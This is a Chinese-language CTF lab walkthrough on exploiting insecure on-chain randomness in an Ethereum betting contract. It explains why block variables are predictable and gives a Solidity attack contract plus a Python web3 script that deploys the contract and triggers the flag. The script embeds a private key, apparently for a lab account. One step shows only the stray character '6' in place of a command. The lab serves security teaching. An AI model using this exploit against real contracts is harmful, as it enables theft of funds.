区块链安全

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不安全的随机数实战二

实验目的

学会使用python3的web3模块
学会以太坊不安全的随机数漏洞分析及利用

实验环境

Ubuntu18.04操作机

实验工具

python3

实验原理

由于所有以太坊节点在验证交易时，需要计算出相同的结果以达成共识，因此 EVM 本身无法实现真随机数的功能。至于伪随机数，其熵源也是只能是确定值。
EVM 有五个字节码可以获取当前区块的变量，包括 coinbase、timestamp、number、difficulty、gaslimit。这些变量对矿工来说，都是已知或者可操控的，因此在私有链部署的题目中，可以作为恶意的矿工控制随机数的结果。在公开的链如 Ropsten 上，这个方法就不太可行，但我们也可以编写攻击合约，在攻击合约中获取到相同的区块变量值，进一步用相同的算法得到随机数值。

实验内容

找到不安全的随机数漏洞并形成利用
使用python3的web3模块远程利用漏洞并获取flag
实验地址为nc ip 10004

获取合约地址和合约源代码
nc ip 10004连接到题目，输入1，获取部署合约的game account及token

打开http://ip，输入上述分配的game account，点击Request获取eth

nc ip 10004连接到题目，输入2，获取部署合约的地址及new token

nc ip 10004连接到题目，输入4，获取合约源代码，或者在题目附件找到合约源代码

分析合约源代码漏洞
题目要求把flag设置为true，分析合约代码，需要使balanceOf[msg.sender]=3000

漏洞主要在于EVM 有五个字节码可以获取当前区块的变量，包括 coinbase、timestamp、number、difficulty、gaslimit，虽然依靠这些变量可以生成随机数，但生成的随机数是伪随机数，本题目中只需要使用第三方合约与其交互，随机数生成使用同样的算法即可，因为第三方合约和其交互的交易会打包到同一区块中，这样便可预测随机数。

EXP利用

编写第三方合约使用和题目相同的算法预测随机数，将下述ETH4的地址换成自己题目合约的地址

contract hack {
    ETH4 target = ETH4(0x1ef792186a9EdBd3366A5804D399924F4A98715f);

    function hack1() public {
        for(uint i=0;i<3;i++){
            uint256 seed = uint256(block.blockhash(block.number-1));
            uint rand = seed % 10;
            target.bet(rand);
        }
    }

    function callsendflag() public {
        target.callsendflag();
    }
}

调用利用链是先调用hack1()，然后调用callsendflag()即可

编写exp，将这一过程自动化，下述contract_address的地址换成自己题目合约的地址

from web3 import Web3, HTTPProvider
from solcx import compile_source,set_solc_version_pragma
import time

w3 = Web3(Web3.HTTPProvider('http://192.168.2.102:8545'))

contract_address = "0xF05B4DAD63660aDaa2A23F4434fd5f30c24d7480"
private = "92b562f4dcb430f547401f31b5d1074e6791ec37786f449497c4f9563abef3fb"
public = "0x75e65F3C1BB334ab927168Bd49F5C44fbB4D480f"

def generate_tx(chainID, to, data, value):
    txn = {
        'chainId': chainID,
        'from': Web3.toChecksumAddress(public),
        'to': to,
        'gasPrice': w3.eth.gasPrice,
        'gas': 3000000,
        'nonce': w3.eth.getTransactionCount(Web3.toChecksumAddress(public)),
        'value': Web3.toWei(value, 'ether'),
        'data': data,
    }
    return txn

def sign_and_send(txn):
    signed_txn = w3.eth.account.signTransaction(txn, private)
    txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
    txn_receipt = w3.eth.waitForTransactionReceipt(txn_hash)
    print("txn_hash=", txn_hash)
    return txn_receipt

set_solc_version_pragma('^0.4.23')
with open('./attack.sol', 'r') as f:
    SRC_TEXT = f.read()
compiled_sol = compile_source(SRC_TEXT)
CONT_IF = compiled_sol['<stdin>:hack']

txn = generate_tx(8888, '', CONT_IF['bin'], 0)
txn_receipt = sign_and_send(txn)
hack_address = txn_receipt['contractAddress']
print('hack_address =',hack_address)

time.sleep(5)

# hack1()
data = Web3.keccak(text='hack1()').hex()[:10]
txn = generate_tx(8888, Web3.toChecksumAddress(hack_address), data, 0)
Hack = sign_and_send(txn)
print(Hack)

time.sleep(5)

# callsendflag()
data = Web3.keccak(text='callsendflag()').hex()[:10]
txn = generate_tx(8888, Web3.toChecksumAddress(hack_address), data, 0)
Hack = sign_and_send(txn)
print(Hack)

打开命令行执行以下命令切换solc版本
6

运行exp

nc ip 10004连接到题目，输入3，输入之前的new token，获取flag